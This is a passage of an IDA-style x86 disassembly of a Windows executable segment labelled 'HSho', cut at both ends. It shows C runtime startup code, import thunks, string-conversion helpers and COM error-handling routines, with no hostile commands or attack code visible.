eax, [ebp+var_14] loc_41109A: ; CODE XREF: sub_410FDB+95j mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_410FDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110A8 proc near ; CODE XREF: sub_404A2D+37p ; sub_404A2D+52p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jnz short loc_4110C5 mov ds:dword_41BCD4, 10000h mov eax, 10000h jmp short loc_411107 ; --------------------------------------------------------------------------- loc_4110C5: ; CODE XREF: sub_4110A8+Aj mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx], 1 jz short loc_4110E4 mov ds:dword_41BCD4, 80000h mov eax, 80000h jmp short loc_411107 ; --------------------------------------------------------------------------- loc_4110E4: ; CODE XREF: sub_4110A8+29j mov edx, [ebp+var_8] mov eax, [edx+4] mov [ebp+var_4], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov ecx, [ebp+var_4] call sub_40FF4C mov ds:dword_41BCD4, eax mov eax, ds:dword_41BCD4 loc_411107: ; CODE XREF: sub_4110A8+1Bj ; sub_4110A8+3Aj mov esp, ebp pop ebp retn sub_4110A8 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 134h cmp dword ptr [ebp+8], 0 jnz short loc_41112E mov ds:dword_41BCD4, 10000h mov eax, 10000h jmp loc_411210 ; --------------------------------------------------------------------------- loc_41112E: ; CODE XREF: HSho:00411118j mov eax, [ebp+8] mov [ebp-134h], eax mov ecx, [ebp-134h] cmp dword ptr [ecx], 1 jz short loc_411156 mov ds:dword_41BCD4, 80000h mov eax, 80000h jmp loc_411210 ; --------------------------------------------------------------------------- loc_411156: ; CODE XREF: HSho:00411140j mov edx, [ebp-134h] mov eax, [edx+4] mov [ebp-4], eax lea ecx, [ebp-130h] push ecx mov edx, [ebp+0Ch] push edx mov ecx, [ebp-4] call sub_40FF4C mov ds:dword_41BCD4, eax cmp ds:dword_41BCD4, 0 jnz loc_41120B mov eax, [ebp+10h] mov ecx, [ebp-130h] mov [eax], ecx mov edx, [ebp+10h] mov eax, [ebp-28h] mov [edx+108h], eax mov ecx, [ebp+10h] mov edx, [ebp-24h] mov [ecx+10Ch], edx mov eax, [ebp-20h] mov [ecx+110h], eax mov ecx, [ebp+10h] mov edx, [ebp-1Ch] mov [ecx+114h], edx mov eax, [ebp-18h] mov [ecx+118h], eax mov ecx, [ebp+10h] mov edx, [ebp-14h] mov [ecx+11Ch], edx mov eax, [ebp-10h] mov [ecx+120h], eax mov ecx, [ebp+10h] mov edx, [ebp-0Ch] mov [ecx+124h], edx mov eax, [ebp+10h] mov ecx, [ebp-8] mov [eax+128h], ecx lea edx, [ebp-12Ch] push edx mov eax, [ebp+10h] add eax, 4 push eax call sub_411628 ; strcpy add esp, 8 loc_41120B: ; CODE XREF: HSho:00411181j mov eax, ds:dword_41BCD4 loc_411210: ; CODE XREF: HSho:00411129j ; HSho:00411151j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 cmp dword ptr [ebp+8], 0 jnz short loc_411231 mov ds:dword_41BCD4, 10000h mov eax, 10000h jmp short loc_41127B ; --------------------------------------------------------------------------- loc_411231: ; CODE XREF: HSho:0041121Ej mov eax, [ebp+8] mov [ebp-8], eax mov ecx, [ebp-8] cmp dword ptr [ecx], 1 jz short loc_411250 mov ds:dword_41BCD4, 80000h mov eax, 80000h jmp short loc_41127B ; --------------------------------------------------------------------------- loc_411250: ; CODE XREF: HSho:0041123Dj mov edx, [ebp-8] mov eax, [edx+4] mov [ebp-4], eax mov ecx, [ebp+18h] push ecx mov edx, [ebp+14h] push edx mov al, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx mov ecx, [ebp-4] call sub_4105D7 mov ds:dword_41BCD4, eax mov eax, ds:dword_41BCD4 loc_41127B: ; CODE XREF: HSho:0041122Fj ; HSho:0041124Ej mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 134h cmp dword ptr [ebp+8], 0 jnz short loc_4112A2 mov ds:dword_41BCD4, 10000h mov eax, 10000h jmp loc_41138C ; --------------------------------------------------------------------------- loc_4112A2: ; CODE XREF: HSho:0041128Cj mov eax, [ebp+8] mov [ebp-134h], eax mov ecx, [ebp-134h] cmp dword ptr [ecx], 1 jz short loc_4112CA mov ds:dword_41BCD4, 80000h mov eax, 80000h jmp loc_41138C ; --------------------------------------------------------------------------- loc_4112CA: ; CODE XREF: HSho:004112B4j mov edx, [ebp-134h] mov eax, [edx+4] mov [ebp-4], eax lea ecx, [ebp-130h] push ecx mov edx, [ebp+14h] push edx mov al, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx mov ecx, [ebp-4] call sub_4105D7 mov ds:dword_41BCD4, eax cmp ds:dword_41BCD4, 0 jnz loc_411387 mov edx, [ebp+18h] mov eax, [ebp-130h] mov [edx], eax mov ecx, [ebp+18h] mov edx, [ebp-28h] mov [ecx+108h], edx mov eax, [ebp+18h] mov ecx, [ebp-24h] mov [eax+10Ch], ecx mov edx, [ebp-20h] mov [eax+110h], edx mov eax, [ebp+18h] mov ecx, [ebp-1Ch] mov [eax+114h], ecx mov edx, [ebp-18h] mov [eax+118h], edx mov eax, [ebp+18h] mov ecx, [ebp-14h] mov [eax+11Ch], ecx mov edx, [ebp-10h] mov [eax+120h], edx mov eax, [ebp+18h] mov ecx, [ebp-0Ch] mov [eax+124h], ecx mov edx, [ebp+18h] mov eax, [ebp-8] mov [edx+128h], eax lea ecx, [ebp-12Ch] push ecx mov edx, [ebp+18h] add edx, 4 push edx call sub_411628 ; strcpy add esp, 8 loc_411387: ; CODE XREF: HSho:004112FDj mov eax, ds:dword_41BCD4 loc_41138C: ; CODE XREF: HSho:0041129Dj ; HSho:004112C5j mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411390 proc near ; CODE XREF: sub_404A2D+64p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jnz short loc_4113AD mov ds:dword_41BCD4, 10000h mov eax, 10000h jmp short loc_4113F7 ; --------------------------------------------------------------------------- loc_4113AD: ; CODE XREF: sub_411390+Aj mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx], 1 jz short loc_4113CC mov ds:dword_41BCD4, 80000h mov eax, 80000h jmp short loc_4113F7 ; --------------------------------------------------------------------------- loc_4113CC: ; CODE XREF: sub_411390+29j mov edx, [ebp+var_8] mov eax, [edx+4] mov [ebp+var_4], eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov ecx, [ebp+var_4] call sub_4107B2 mov ds:dword_41BCD4, eax mov eax, ds:dword_41BCD4 loc_4113F7: ; CODE XREF: sub_411390+1Bj ; sub_411390+3Aj mov esp, ebp pop ebp retn sub_411390 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4113FB proc near ; CODE XREF: sub_404A2D+72p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_0], 0 jnz short loc_411418 mov ds:dword_41BCD4, 10000h mov eax, 10000h jmp short loc_411476 ; --------------------------------------------------------------------------- loc_411418: ; CODE XREF: sub_4113FB+Aj mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx], 1 jz short loc_411437 mov ds:dword_41BCD4, 80000h mov eax, 80000h jmp short loc_411476 ; --------------------------------------------------------------------------- loc_411437: ; CODE XREF: sub_4113FB+29j mov edx, [ebp+var_8] mov eax, [edx+4] mov [ebp+var_4], eax mov ecx, [ebp+var_4] call sub_410CC8 mov ds:dword_41BCD4, eax mov ecx, [ebp+var_4] mov [ebp+var_C], ecx mov edx, [ebp+var_C] push edx call sub_4114EE add esp, 4 mov eax, [ebp+var_8] mov [ebp+var_10], eax mov ecx, [ebp+var_10] push ecx call sub_4114EE add esp, 4 mov eax, ds:dword_41BCD4 loc_411476: ; CODE XREF: sub_4113FB+1Bj ; sub_4113FB+3Aj mov esp, ebp pop ebp retn sub_4113FB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jnz short loc_411488 mov al, 1 jmp short loc_411499 ; --------------------------------------------------------------------------- loc_411488: ; CODE XREF: HSho:00411482j mov eax, [ebp+8] mov [ebp-4], eax mov ecx, [ebp-4] xor eax, eax cmp dword ptr [ecx], 1 setz al loc_411499: ; CODE XREF: HSho:00411486j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4114A0 proc near ; CODE XREF: sub_4107B2+339p ; sub_4107B2+355p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_413214 ; _mbsstr add esp, 8 pop ebp retn sub_4114A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4114C0 proc near ; CODE XREF: sub_410FDB+3Bp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0FFFFFFFFh mov edx, [ebp+var_4] mov dword ptr [edx+134h], 0FFFFFFFFh mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4114C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114EE proc near ; CODE XREF: sub_4010DD+16p ; sub_4019B0+1Dp ... jmp dword_413104 sub_4114EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114F4 proc near ; CODE XREF: sub_40103D+1Dp ; sub_404151+10p ... jmp dword_413138 sub_4114F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114FA proc near ; CODE XREF: sub_401ACF+99p ; sub_402C48+80p ... jmp dword_413134 sub_4114FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411500 proc near ; CODE XREF: sub_401C92+CCp jmp dword_413130 sub_411500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411506 proc near ; CODE XREF: HSho:00402644p ; sub_402A1E+15Cp ... jmp dword_41312C sub_411506 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41150C proc near ; CODE XREF: HSho:00402638p ; sub_402A1E+B7p ... jmp dword_413128 sub_41150C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411512 proc near ; CODE XREF: HSho:0040261Cp ; HSho:00402659p ... jmp dword_413124 sub_411512 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411518 proc near ; CODE XREF: HSho:00402610p ; sub_402A1E+141p ... jmp dword_413120 sub_411518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41151E proc near ; CODE XREF: HSho:0040253Ap ; sub_402A1E+18p ... jmp dword_41311C sub_41151E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411524 proc near ; CODE XREF: sub_402A1E+129p ; sub_405150+114p ... jmp dword_413118 sub_411524 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41152A proc near ; CODE XREF: sub_404605+16Cp ; sub_404605+292p ... jmp dword_413114 sub_41152A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411530 proc near ; CODE XREF: sub_406374+7Fp ; sub_40671B+A9p ... jmp dword_413110 sub_411530 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411536 proc near ; CODE XREF: sub_406374+72p ; sub_406374+CBp ... jmp dword_41310C sub_411536 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41153C proc near ; CODE XREF: sub_404B40+2E7p ; sub_404B40+40Ap jmp dword_413108 sub_41153C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411542 proc near ; CODE XREF: sub_404B40+270p ; sub_404B40+3AAp jmp dword_413100 sub_411542 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411548 proc near ; CODE XREF: sub_405150+43p ; sub_405150+54p ... jmp dword_4130FC sub_411548 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41154E proc near ; CODE XREF: sub_405E1F+12Fp ; sub_40831F+1B3p jmp dword_4130F8 sub_41154E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411554 proc near ; CODE XREF: sub_405E1F+CCp ; sub_405E1F+14Fp jmp dword_4130F4 sub_411554 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41155A proc near ; CODE XREF: sub_406374+DAp ; sub_40671B+104p ... jmp dword_4130F0 sub_41155A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411560 proc near ; CODE XREF: sub_406374+B7p ; sub_406374+122p ... jmp dword_4130EC sub_411560 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411566 proc near ; CODE XREF: sub_406374+68p ; sub_406374+112p ... jmp dword_4130E8 sub_411566 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41156C proc near ; CODE XREF: SEH_401109+5j ; sub_411A7A+5j ... jmp dword_4131DC sub_41156C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_411580 proc near ; CODE XREF: sub_401109+7Cp cmp cl, 40h jnb short loc_41159A cmp cl, 20h jnb short loc_411590 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_411590: ; CODE XREF: sub_411580+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_41159A: ; CODE XREF: sub_411580+3j xor eax, eax xor edx, edx retn sub_411580 endp ; =============== S U B R O U T I N E ======================================= sub_41159F proc near ; DATA XREF: HSho:off_414AD4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4117E8 test [esp+4+arg_0], 1 jz short loc_4115B5 push esi call sub_4114EE pop ecx loc_4115B5: ; CODE XREF: sub_41159F+Dj mov eax, esi pop esi retn 4 sub_41159F endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4115BC proc near ; CODE XREF: HSho:00401217p ; HSho:004012F2p ... jmp dword_4131E0 sub_4115BC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4115D0 proc near ; CODE XREF: HSho:00401299p ; sub_40146A+1Ep ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_4115F0 loc_4115DC: ; CODE XREF: sub_4115D0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_4115DC loc_4115F0: ; CODE XREF: sub_4115D0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_4115D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_411600 proc near ; CODE XREF: HSho:0040174Bp cmp cl, 40h jnb short loc_41161B cmp cl, 20h jnb short loc_411610 shrd eax, edx, cl sar edx, cl retn ; --------------------------------------------------------------------------- loc_411610: ; CODE XREF: sub_411600+8j mov eax, edx sar edx, 1Fh and cl, 1Fh sar eax, cl retn ; --------------------------------------------------------------------------- loc_41161B: ; CODE XREF: sub_411600+3j sar edx, 1Fh mov eax, edx retn sub_411600 endp ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411622 proc near ; CODE XREF: sub_401ACF+29p ; HSho:00401C2Fp ... jmp dword_413204 sub_411622 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411628 proc near ; CODE XREF: sub_402296+B1p ; sub_402296+FAp ... jmp dword_4131FC sub_411628 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41162E proc near ; CODE XREF: sub_402296+5Ap ; sub_40239F+Bp ... jmp dword_4131F8 sub_41162E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411634 proc near ; CODE XREF: sub_4027A4+1E8p ; sub_409E20+CAp ... jmp dword_4131C0 sub_411634 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41163A proc near ; CODE XREF: sub_402A1E+5p ; sub_402BB1+5p ... jmp dword_4131BC sub_41163A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411640 proc near ; CODE XREF: sub_402FAF+E8p ; sub_4030F7+125p ... jmp dword_4131B8 sub_411640 endp ; =============== S U B R O U T I N E ======================================= sub_411646 proc near ; CODE XREF: sub_411672+4p arg_0 = dword ptr 4 cmp ds:dword_41BD10, 0FFFFFFFFh jnz short loc_41165B push [esp+arg_0] call dword_413220 ; _onexit pop ecx retn ; --------------------------------------------------------------------------- loc_41165B: ; CODE XREF: sub_411646+7j push offset dword_41BD0C push offset dword_41BD10 push [esp+8+arg_0] call sub_4117EE ; __dllonexit add esp, 0Ch retn sub_411646 endp ; =============== S U B R O U T I N E ======================================= sub_411672 proc near ; CODE XREF: sub_4082FE+8p ; sub_411891+21p arg_0 = dword ptr 4 push [esp+arg_0] call sub_411646 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_411672 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411684 proc near ; CODE XREF: sub_40E8D4+11p ; sub_40FF4C+4B8p jmp dword_41320C sub_411684 endp ; --------------------------------------------------------------------------- loc_41168A: ; CODE XREF: HSho:0041E714j push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_414AD8 push offset sub_411816 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 68h push ebx push esi push edi mov [ebp-18h], esp xor ebx, ebx mov [ebp-4], ebx push 2 call dword_41324C ; __set_app_type pop ecx or ds:dword_41BD0C, 0FFFFFFFFh or ds:dword_41BD10, 0FFFFFFFFh call dword_413248 ; __p__fmode mov ecx, ds:dword_41BCF4 mov [eax], ecx call dword_413244 ; __p__commode mov ecx, ds:dword_41BCF0 mov [eax], ecx mov eax, dword_413240 mov eax, [eax] mov ds:dword_41BD08, eax call nullsub_1 cmp ds:dword_417BD0, ebx jnz short loc_41170D push offset sub_411812 call dword_41323C ; __setusermatherr pop ecx loc_41170D: ; CODE XREF: HSho:004116FFj call sub_411800 push offset dword_417014 push offset dword_417010 call sub_4117FA ; _initterm mov eax, ds:dword_41BCEC mov [ebp-6Ch], eax lea eax, [ebp-6Ch] push eax push ds:dword_41BCE8 lea eax, [ebp-64h] push eax lea eax, [ebp-70h] push eax lea eax, [ebp-60h] push eax call dword_413230 ; __getmainargs push offset dword_41700C push offset dword_417000 call sub_4117FA ; _initterm add esp, 24h mov eax, dword_413234 mov esi, [eax] mov [ebp-74h], esi cmp byte ptr [esi], 22h jnz short loc_4117A0 loc_411766: ; CODE XREF: HSho:00411772j inc esi mov [ebp-74h], esi mov al, [esi] cmp al, bl jz short loc_411774 cmp al, 22h jnz short loc_411766 loc_411774: ; CODE XREF: HSho:0041176Ej cmp byte ptr [esi], 22h jnz short loc_41177D loc_411779: ; CODE XREF: HSho:00411785j inc esi mov [ebp-74h], esi loc_41177D: ; CODE XREF: HSho:00411777j ; HSho:004117A3j mov al, [esi] cmp al, bl jz short loc_411787 cmp al, 20h jbe short loc_411779 loc_411787: ; CODE XREF: HSho:00411781j mov [ebp-30h], ebx lea eax, [ebp-5Ch] push eax call dword_413084 ; GetStartupInfoA test byte ptr [ebp-30h], 1 jz short loc_4117AB movzx eax, word ptr [ebp-2Ch] jmp short loc_4117AE ; --------------------------------------------------------------------------- loc_4117A0: ; CODE XREF: HSho:00411764j ; HSho:004117A9j cmp byte ptr [esi], 20h jbe short loc_41177D inc esi mov [ebp-74h], esi jmp short loc_4117A0 ; --------------------------------------------------------------------------- loc_4117AB: ; CODE XREF: HSho:00411798j push 0Ah pop eax loc_4117AE: ; CODE XREF: HSho:0041179Ej push eax push esi push ebx push ebx call dword_413088 ; GetModuleHandleA push eax call sub_4093D8 mov [ebp-68h], eax push eax call dword_41322C ; exit mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-78h], ecx push eax push ecx call sub_4117F4 ; _XcptFilter pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-78h] call dword_413224 ; _exit ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4117E8 proc near ; CODE XREF: sub_41159F+3p jmp dword_413218 sub_4117E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4117EE proc near ; CODE XREF: sub_411646+23p jmp dword_41321C sub_4117EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4117F4 proc near ; CODE XREF: HSho:004117D4p jmp dword_413228 sub_4117F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4117FA proc near ; CODE XREF: HSho:0041171Cp ; HSho:0041174Fp jmp dword_413238 sub_4117FA endp ; =============== S U B R O U T I N E ======================================= sub_411800 proc near ; CODE XREF: HSho:loc_41170Dp push 30000h push 10000h call sub_41181C ; _controlfp pop ecx pop ecx retn sub_411800 endp ; =============== S U B R O U T I N E ======================================= sub_411812 proc near ; DATA XREF: HSho:00411701o xor eax, eax retn sub_411812 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411816 proc near ; DATA XREF: HSho:00411694o jmp dword_413250 sub_411816 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41181C proc near ; CODE XREF: sub_411800+Ap jmp dword_413258 sub_41181C endp ; =============== S U B R O U T I N E ======================================= sub_411822 proc near ; CODE XREF: sub_403488+4Bp ; sub_403488+A4p ... arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_411A14 retn 4 sub_411822 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411830 proc near ; CODE XREF: sub_40430D+20p ; sub_4043E6+20p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] and [ebp+var_4], 0 test eax, eax jz short loc_411882 mov ecx, [eax] lea edx, [ebp+arg_4] push edx push offset dword_417BD8 push eax call dword ptr [ecx] test eax, eax jl short loc_411882 mov eax, [ebp+arg_4] push esi push [ebp+arg_8] mov ecx, [eax] push eax call dword ptr [ecx+0Ch] mov esi, eax mov eax, [ebp+arg_4] push eax mov ecx, [eax] call dword ptr [ecx+8] test esi, esi pop esi jnz short loc_411882 lea eax, [ebp+var_4] push eax push 0 call dword_41327C test eax, eax jz short loc_411882 and [ebp+var_4], 0 loc_411882: ; CODE XREF: sub_411830+Dj ; sub_411830+1Fj ... push [ebp+var_4] push [ebp+arg_0] call sub_411A14 leave retn 0Ch sub_411830 endp ; =============== S U B R O U T I N E ======================================= sub_411891 proc near ; DATA XREF: HSho:00417008o ; FUNCTION CHUNK AT 004118AD SIZE 0000000C BYTES call sub_41189B jmp loc_4118AD sub_411891 endp ; =============== S U B R O U T I N E ======================================= sub_41189B proc near ; CODE XREF: sub_411891p push 0Ah push 80020004h mov ecx, offset dword_41BCF8 call sub_4119B8 retn sub_41189B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_411891 loc_4118AD: ; CODE XREF: sub_411891+5j push offset sub_4118B9 call sub_411672 pop ecx retn ; END OF FUNCTION CHUNK FOR sub_411891 ; =============== S U B R O U T I N E ======================================= sub_4118B9 proc near ; DATA XREF: sub_411891:loc_4118ADo push offset dword_41BCF8 call dword_413264 test eax, eax jge short locret_4118CE push eax call sub_411822 locret_4118CE: ; CODE XREF: sub_4118B9+Dj retn sub_4118B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4118CF proc near ; CODE XREF: sub_4041E3+12p arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 push esi push edi jnz short loc_4118DE xor eax, eax jmp short loc_41193B ; --------------------------------------------------------------------------- loc_4118DE: ; CODE XREF: sub_4118CF+9j push [ebp+arg_0] call dword_4130BC ; lstrlenA mov esi, eax inc esi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_4115D0 mov edi, esp push esi push edi push 0FFFFFFFFh push [ebp+arg_0] and word ptr [edi], 0 push 0 push 0 call dword_413068 ; MultiByteToWideChar test eax, eax jnz short loc_411934 mov esi, dword_413028 call esi ; RtlGetLastWin32Error test eax, eax jz short loc_41192C call esi ; RtlGetLastWin32Error and eax, 0FFFFh or eax, 80070000h jmp short loc_41192E ; --------------------------------------------------------------------------- loc_41192C: ; CODE XREF: sub_4118CF+4Dj xor eax, eax loc_41192E: ; CODE XREF: sub_4118CF+5Bj push eax call sub_411822 loc_411934: ; CODE XREF: sub_4118CF+41j push edi call dword_413280 loc_41193B: ; CODE XREF: sub_4118CF+Dj lea esp, [ebp-8] pop edi pop esi pop ebp retn 4 sub_4118CF endp ; =============== S U B R O U T I N E ======================================= sub_411944 proc near ; CODE XREF: sub_404243+Bp arg_0 = dword ptr 4 push ebx push ebp mov ebp, [esp+8+arg_0] xor ebx, ebx cmp ebp, ebx jnz short loc_411954 xor eax, eax jmp short loc_4119B3 ; --------------------------------------------------------------------------- loc_411954: ; CODE XREF: sub_411944+Aj push esi push edi push ebp call sub_411A66 ; wcslen lea edi, [eax+eax+2] push edi call sub_4114F4 mov esi, eax pop ecx cmp esi, ebx pop ecx jnz short loc_411978 push 8007000Eh call sub_411822 loc_411978: ; CODE XREF: sub_411944+28j push ebx push ebx push edi push esi push 0FFFFFFFFh push ebp push ebx push ebx mov [esi], bl call dword_413064 ; WideCharToMultiByte test eax, eax jnz short loc_4119AF mov edi, dword_413028 call edi ; RtlGetLastWin32Error test eax, eax jz short loc_4119A7 call edi ; RtlGetLastWin32Error and eax, 0FFFFh or eax, 80070000h jmp short loc_4119A9 ; --------------------------------------------------------------------------- loc_4119A7: ; CODE XREF: sub_411944+53j xor eax, eax loc_4119A9: ; CODE XREF: sub_411944+61j push eax call sub_411822 loc_4119AF: ; CODE XREF: sub_411944+47j mov eax, esi pop edi pop esi loc_4119B3: ; CODE XREF: sub_411944+Ej pop ebp pop ebx retn 4 sub_411944 endp ; =============== S U B R O U T I N E ======================================= sub_4119B8 proc near ; CODE XREF: sub_41189B+Cp arg_0 = dword ptr 4 arg_4 = word ptr 8 push esi push edi mov di, [esp+8+arg_4] mov esi, ecx cmp di, 3 jz short loc_4119DD cmp di, 0Ah jz short loc_4119E3 cmp di, 0Bh jz short loc_4119DD push 80070057h call sub_411822 loc_4119DD: ; CODE XREF: sub_4119B8+Dj ; sub_4119B8+19j cmp di, 0Ah jnz short loc_4119EA loc_4119E3: ; CODE XREF: sub_4119B8+13j mov word ptr [esi], 0Ah jmp short loc_411A06 ; --------------------------------------------------------------------------- loc_4119EA: ; CODE XREF: sub_4119B8+29j cmp di, 0Bh jnz short loc_411A01 mov eax, [esp+8+arg_0] mov [esi], di neg eax sbb eax, eax mov [esi+8], ax jmp short loc_411A0D ; --------------------------------------------------------------------------- loc_411A01: ; CODE XREF: sub_4119B8+36j mov word ptr [esi], 3 loc_411A06: ; CODE XREF: sub_4119B8+30j mov eax, [esp+8+arg_0] mov [esi+8], eax loc_411A0D: ; CODE XREF: sub_4119B8+47j mov eax, esi pop edi pop esi retn 8 sub_4119B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A14 proc near ; CODE XREF: sub_411822+6p ; sub_411830+58p var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 lea ecx, [ebp+var_10] push [ebp+arg_4] push [ebp+arg_0] call sub_4099B0 lea eax, [ebp+var_10] push offset dword_415E10 push eax call sub_4115BC ; _CxxThrowException mov eax, [esp+18h+var_14] push esi mov esi, ecx mov ecx, [eax+4] mov [esi+4], ecx mov eax, [eax+8] and dword ptr [esi+0Ch], 0 mov [esi+8], eax test eax, eax mov dword ptr [esi], offset off_414AE8 jz short loc_411A5F mov ecx, [eax] push eax call dword ptr [ecx+4] loc_411A5F: ; CODE XREF: sub_411A14+43j mov eax, esi pop esi retn 4 sub_411A14 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411A66 proc near ; CODE XREF: sub_411944+13p jmp dword_4131E8 sub_411A66 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= SEH_401109 proc near ; DATA XREF: sub_401109+5o mov eax, offset dword_414B80 jmp sub_41156C SEH_401109 endp ; =============== S U B R O U T I N E ======================================= sub_411A7A proc near ; DATA XREF: HSho:004011C7o mov eax, offset 